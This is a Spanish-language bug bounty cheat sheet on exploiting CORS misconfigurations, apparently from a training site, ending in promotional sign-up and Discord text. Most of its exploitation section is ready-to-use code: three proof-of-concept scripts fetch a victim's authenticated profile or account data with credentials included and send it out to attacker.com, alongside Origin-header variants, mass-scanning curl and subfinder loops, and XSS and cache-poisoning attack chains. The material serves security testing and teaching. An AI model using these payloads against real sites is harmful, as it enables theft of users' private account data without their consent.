Cheatsheet CORS

Cross-Origin Resource Sharing

Referencia rápida

  • →CORS misconfiguration solo es explotable si Access-Control-Allow-Credentials: true
  • →Wildcard (*) en ACAO no permite credenciales - no es explotable directamente
  • →Si el origin se refleja exactamente, probar variaciones: null, subdominios, prefijos
  • →Combinar con XSS en subdominio: el CORS confia en *.target.com + XSS en sub.target.com
  • →Cache poisoning + CORS puede afectar a todos los usuarios, no solo a la victima

Deteccion de CORS misconfiguration

Origin reflejadoSi la respuesta contiene Access-Control-Allow-Origin: https://evil.com + Credentials: true = explotable

Origin: https://evil.com

Origin nullPaginas sandboxed (iframes) envian origin null

Origin: null

Subdominio del targetSi acepta cualquier subdominio, buscar XSS en subdominios

Origin: https://evil.target.com

Prefijo del dominio

Origin: https://target.com.evil.com

Sufijo del dominio

Origin: https://eviltarget.com

PoC de explotacion

Exfiltrar datos con fetch

<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>

PoC con XMLHttpRequest

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
  fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>

Origin null via iframe sandboxiframe sandbox envia Origin: null

<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>

Metodologia de testing

Scan masivo con httpx

cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"

Subfinder + CORS check

subfinder -d target.com | httpx -silent | while read url; do
  curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control"
done

Cadenas de ataque con CORS

XSS en subdominio + CORSSubdomain takeover + CORS es una cadena clasica

1. Encontrar XSS en sub.target.com
2. CORS acepta Origin: https://sub.target.com
3. Desde XSS: fetch datos autenticados de target.com
4. Exfiltrar via XSS callback

CORS + cache poisoning

1. Enviar request con Origin: evil.com
2. Si la respuesta se cachea CON el header ACAO
3. Otros usuarios reciben la respuesta cacheada
4. El browser permite cross-origin desde evil.com

Herramientas

CORScanner

Scanner automatizado de CORS misconfigurations en multiples dominios

python3 cors_scan.py -i targets.txt -t 50

Corsy

Detecta misconfigurations CORS con multiples variaciones de Origin

python3 corsy.py -u https://target.com

curl manual

Verificacion rapida manual de CORS headers

curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.